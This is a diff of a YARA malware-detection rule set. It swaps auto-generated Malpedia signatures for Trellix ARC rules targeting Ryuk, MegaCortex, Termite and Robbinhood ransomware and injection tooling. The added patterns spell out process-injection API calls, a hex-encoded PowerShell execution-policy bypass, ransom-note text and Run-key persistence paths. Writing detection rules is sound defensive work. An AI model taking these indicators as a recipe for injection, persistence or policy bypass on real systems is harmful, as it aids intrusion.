-		$sequence_1 = { 488b7c2430 33c0 488983a0000000 488983a8000000 488983b0000000 488983b8000000 488983c0000000 }
-		$sequence_2 = { 418bc0 80f909 410f47c2 02c1 41884102 410fb64d01 80e10f }
-		$sequence_3 = { 488b89d8000000 48896c2438 4889742440 4883f9ff 7414 ff15???????? 8b4758 }
-		$sequence_4 = { 488d15d2280a00 488bcb ff15???????? 488905???????? 4885c0 0f8474010000 488d159a280a00 }
-		$sequence_5 = { 488d05c6ba0000 488905???????? 488d0558c70000 488905???????? 488d05bad20000 488905???????? 488d054ce30000 }
-		$sequence_6 = { 41c1e908 410fb6c7 41c1ef08 418bb48a50951600 400fb6cf 458ba48250951600 410fb6c6 }
-		$sequence_7 = { 482bc1 4883c0f8 4883f81f 0f8798000000 ba4f000100 e8???????? 90 }
+		$api0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 20 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 22 29 5d }
+		$api1 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 22 29 5d }
+		$api2 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4c 6f 61 64 4c 69 62 72 61 72 79 41 22 29 5d }
+		$api3 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 22 29 5d }
+		$api4 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 46 72 65 65 22 29 5d }
+		$api5 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 22 29 5d }
+		$api6 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 6c 6f 73 65 48 61 6e 64 6c 65 22 29 5d }
+		$api7 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 22 29 5d }
+		$api8 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 22 29 5d }
+		$api9 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4f 70 65 6e 50 72 6f 63 65 73 73 22 29 5d }
+		$api10 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d }
+		$artifact0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d }
+		$artifact1 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 75 63 74 75 72 65 }
+		$artifact2 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 52 65 61 64 49 6e 74 31 36 }
+		$artifact3 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73}
+		$artifact4 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 66 69 6c 65}
+		$artifact5 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 30 20 2c 20 4d 61 6e 64 61 74 6f 72 79}
+		$artifact6 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 31 20 2c 20 4d 61 6e 64 61 74 6f 72 79}
+		$artifact7 = {2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 50 61 73 73 20 2d 4e 6f 4c 6f 67 6f 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 4e 6f 45 78 69 74}
+		$artifact8 = {72 65 74 75 72 6e 20 5b 42 69 74 43 6f 6e 76 65 72 74 65 72 5d 3a 3a 54 6f 49 6e 74 36 34}
 
 	condition:
-		7 of them and filesize <10011648
+		6 of ($api*) or ((3 of ($artifact*)))
 }
-rule MALPEDIA_Win_Rawpos_Auto : FILE
+rule TRELLIX_ARC_Ryuk_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "286abeec-e79d-5e9e-ac0c-a8048144fd9d"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rawpos_auto.yar#L1-L129"
-		license_url = "N/A"
-		logic_hash = "aa38577b3237b68cd5a9fc2dd4b4a121098ac6a8fc6a84d75e625596e4cdd326"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		description = "Ryuk Ransomware hunting rule"
+		author = "Christiaan Beek - McAfee ATR team"
+		id = "d3e67e26-3b34-5c28-a1c0-c4aeacd49df9"
+		date = "2019-04-25"
+		modified = "2021-07-12"
+		reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Ryuk.yar#L1-L47"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "43c0be708fa8a388dce6e1dd721e24329b5b08a942d99e9b2631c90155790c4b"
+		score = 50
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v2"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Ryuk"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 47 bb01000000 3b5df8 7d17 8b45bc }
-		$sequence_1 = { eb22 8b550c ff02 8b0a 83f963 }
-		$sequence_2 = { 3b7594 7231 8b5520 52 6a00 8b4d18 8bd6 }
-		$sequence_3 = { c700???????? e9???????? bb40000000 ff45e0 e9???????? 33c0 8d55b8 }
-		$sequence_4 = { 7544 56 6a00 8b5518 83c703 52 53 }
-		$sequence_5 = { 83e805 7422 eb3b 8d55b4 8955b0 eb41 8b4db0 }
-		$sequence_6 = { c1e003 33db 8a1a 03c3 83c0d0 8b5dfc ff45fc }
-		$sequence_7 = { 83e201 83c703 8955e4 eb3f 33c9 8a0f }
-		$sequence_8 = { 51 50 ff550c 83c408 ff4df8 f7c601000000 0f855afaffff }
-		$sequence_9 = { 837da4ff 750c 8bc3 43 3b45ec 0f82abfeffff 837de400 }
+		$x1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
+		$x2 = "\\System32\\cmd.exe" fullword wide
+		$s1 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects\\ConsoleApplication54new crypted" ascii
+		$s2 = "fg4tgf4f3.dll" fullword wide
+		$s3 = "lsaas.exe" fullword wide
+		$s4 = "\\Documents and Settings\\Default User\\sys" fullword wide
+		$s5 = "\\Documents and Settings\\Default User\\finish" fullword wide
+		$s6 = "\\users\\Public\\sys" fullword wide
+		$s7 = "\\users\\Public\\finish" fullword wide
+		$s8 = "You will receive btc address for payment in the reply letter" fullword ascii
+		$s9 = "hrmlog" fullword wide
+		$s10 = "No system is safe" fullword ascii
+		$s11 = "keystorage2" fullword wide
+		$s12 = "klnagent" fullword wide
+		$s13 = "sqbcoreservice" fullword wide
+		$s14 = "tbirdconfig" fullword wide
+		$s15 = "taskkill" fullword wide
+		$op0 = { 8b 40 10 89 44 24 34 c7 84 24 c4 }
+		$op1 = { c7 44 24 34 00 40 00 00 c7 44 24 38 01 }
 
 	condition:
-		7 of them and filesize <466944
+		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
 }
-rule MALPEDIA_Win_Lunchmoney_Auto : FILE
+rule TRELLIX_ARC_RANSOM_RYUK_May2021 : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8af393b3-e0ee-5b29-9ae9-6b5b0b5bb360"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lunchmoney_auto.yar#L1-L126"
-		license_url = "N/A"
-		logic_hash = "4e3c0ce49996288518b2f9a0e709877b3f945a71128e29da2214bd53e19246e9"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		description = "Rule to detect latest May 2021 compiled Ryuk variant"
+		author = "Marc Elias | McAfee ATR Team"
+		id = "6e415a9e-7373-50a8-ad57-f95220faed9c"
+		date = "2021-05-21"
+		modified = "2021-07-12"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Ryuk.yar#L91-L113"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "8f368b029a3a5517cb133529274834585d087a2d3a5875d03ea38e5774019c8a"
+		logic_hash = "b379c1182e60ce8c777668386d8cbd08350dd2363770dec56502bf44aaf5d7f6"
+		score = 50
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		version = "0.1"
 
 	strings:
-		$sequence_0 = { 8b4304 8d4b0c 83791408 8945dc 8b4308 8945e0 7202 }
-		$sequence_1 = { 7405 e8???????? a900000080 751f d9fa 833d????????00 0f85f38b0000 }
-		$sequence_2 = { c1e60a 56 e8???????? 56 8bf8 6a00 57 }
-		$sequence_3 = { 53 8d4d08 e8???????? 83f8ff 750e 68???????? }
-		$sequence_4 = { 8d4dd4 e8???????? 83f8ff 742d 6aff 40 }
-		$sequence_5 = { 7420 53 8d85dcfeffff 50 }
-		$sequence_6 = { ff7580 e8???????? 8b8568ffffff 014588 59 83957cffffff00 837d0800 }
-		$sequence_7 = { 8bcf e8???????? 837f1408 8bc8 }
-		$sequence_8 = { 8bc3 e8???????? c3 53 56 8bf1 57 }
-		$sequence_9 = { 8d86f8000000 83c124 3bc8 740a 6aff 6a00 50 }
+		$ryuk_filemarker = "RYUKTM" fullword wide ascii
+		$sleep_constants = { 68 F0 49 02 00 FF (15|D1) [0-4] 68 ?? ?? ?? ?? 6A 01 }
+		$icmp_echo_constants = { 68 A4 06 00 00 6A 44 8D [1-6] 5? 6A 00 6A 20 [5-20] FF 15 }
 
 	condition:
-		7 of them and filesize <373760
+		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <200KB and ($ryuk_filemarker or ($sleep_constants and $icmp_echo_constants))
 }
-/*
- * YARA Rule Set
- * Repository Name: Trellix ARC
- * Repository: https://github.com/advanced-threat-research/Yara-Rules/
- * Retrieval Date: 2024-08-04
- * Git Commit: fc51a3fe3b450838614a5a5aa327c6bd8689cbb2
- * Number of Rules: 162
- * Skipped: 0 (age), 5 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- *                                  Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
+import "pe"
 
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
+rule TRELLIX_ARC_Megacortex_Signed : RANSOMWARE FILE
+{
+	meta:
+		description = "Rule to detect MegaCortex samples digitally signed"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "78a74e30-4de0-5e63-8ca5-31251c296f98"
+		date = "2024-09-01"
+		modified = "2020-08-14"
+		reference = "https://blog.malwarebytes.com/detections/ransom-megacortex/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_MegaCortex.yar#L3-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "8ffced3aca837682fbd7ee68f559f73b8299cbfbe198f48124c4857680735249"
+		score = 75
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/MegaCortex"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
- */
-private rule TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE : RANSOMWARE
+	condition:
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "/C=GB/L=ROMFORD/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures[i].serial=="04:c7:cd:cc:16:98:e2:5b:49:3e:b4:33:8d:5e:2f:8b" or pe.signatures[i].subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures[i].serial=="53:cc:4c:69:e5:6a:7d:bc:36:67:d5:ff:d5:24:aa:4b" or pe.signatures[i].subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" or pe.signatures[i].serial=="00:ad:72:9a:65:f1:78:47:ac:b8:f8:49:6a:76:80:ff:1e")
+}
+rule TRELLIX_ARC_Termite_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "Detect chunk of Xinof ransomware"
-		author = "Thomas Roccia | McAfee ATR Team"
-		id = "243c39fd-b5f6-5f64-8058-43da182480c0"
-		date = "2020-11-20"
-		date = "2020-11-20"
-		modified = "2020-11-20"
-		reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_xinof.yar#L1-L51"
+		description = "Rule to detect the Termite Ransomware"
+		author = "McAfee ATR Team"
+		id = "521ec8ee-a54c-57c3-9437-a2ef7f8ed4ca"
+		date = "2018-08-28"
+		modified = "2020-10-12"
+		reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_termite.yar#L1-L32"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "0c1e6299a2392239dbe7fead33ef4146"
-		logic_hash = "f0266962357a7cb26995cdbfcc99749b73fc4ed09c813fa8e2ed0f5143cde554"
+		hash = "021ca4692d3a721af510f294326a31780d6f8fcd9be2046d1c2a0902a7d58133"
+		logic_hash = "e5c01e8377957fa25cf6c2031c2680e802b0082a36f50b97b4e488c5bf40e968"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE"
+		quality = 20
+		tags = "RANSOMWARE, FILE"
 		rule_version = "v1"
 		malware_type = "ransomware"
-		malware_family = "Ransom/XINOF"
+		malware_family = "Ransom:W32/Termite"
 		actor_type = "Cybercrime"
-		actor_group = "FONIX"
+		actor_group = "Unknown"
 
 	strings:
-		$chunk1 = {
-		   C6 45 ?? ??
-		   68 ?? ?? ?? ??
-	           50
-		   E8 ?? ?? ?? ??
-		   53
-	           50
-		   8D 85 ?? ?? ?? ??
-		   C6 45 ?? ??
-		   50
-		   E8 ?? ?? ?? ??
-		   56
-		   50
-		   8D 85 ?? ?? ?? ??
-		   C6 45 ?? ??
-		   50
-		   E8 ?? ?? ?? ??
-		   83 C4 ??
-		   C6 45 ?? ??
-		   8B CC
-		   57
-		   50
-		   51
-		   E8 ?? ?? ?? ??
-		   83 C4 ??
-		   8D 8D ?? ?? ?? ??
-		   E8 ?? ?? ?? ??
-		   83 C4 ??
-		   8D 8D ?? ?? ?? ??
-		   E8 ?? ?? ?? ??
-		}
+		$s1 = "C:\\Windows\\SysNative\\mswsock.dll" fullword ascii
+		$s2 = "C:\\Windows\\SysWOW64\\mswsock.dll" fullword ascii
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Termite.exe" fullword ascii
+		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Payment.exe" fullword ascii
+		$s5 = "C:\\Windows\\Termite.exe" fullword ascii
+		$s6 = "\\Shell\\Open\\Command\\" fullword ascii
+		$s7 = "t314.520@qq.com" fullword ascii
+		$s8 = "(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii
 
 	condition:
-		any of them
+		( uint16(0)==0x5a4d and filesize <6000KB) and all of them
 }
-rule TRELLIX_ARC_Apt_Hikit_Rootkit : ROOTKIT FILE
+rule TRELLIX_ARC_Robbinhood_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "Rule to detect the rootkit hikit based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "c53acbc6-8f4a-590b-8dd7-ce4da6d79cf8"
-		date = "2012-08-20"
+		description = "Robbinhood GoLang ransowmare"
+		author = "Christiaan Beek | McAfee ATR"
+		id = "b2654d00-330e-511e-b8f1-75aa7b57d040"
+		date = "2019-05-10"
 		modified = "2020-08-14"
-		reference = "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hikit_rootkit_pdb.yar#L1-L28"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_RobbinHood.yar#L1-L37"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
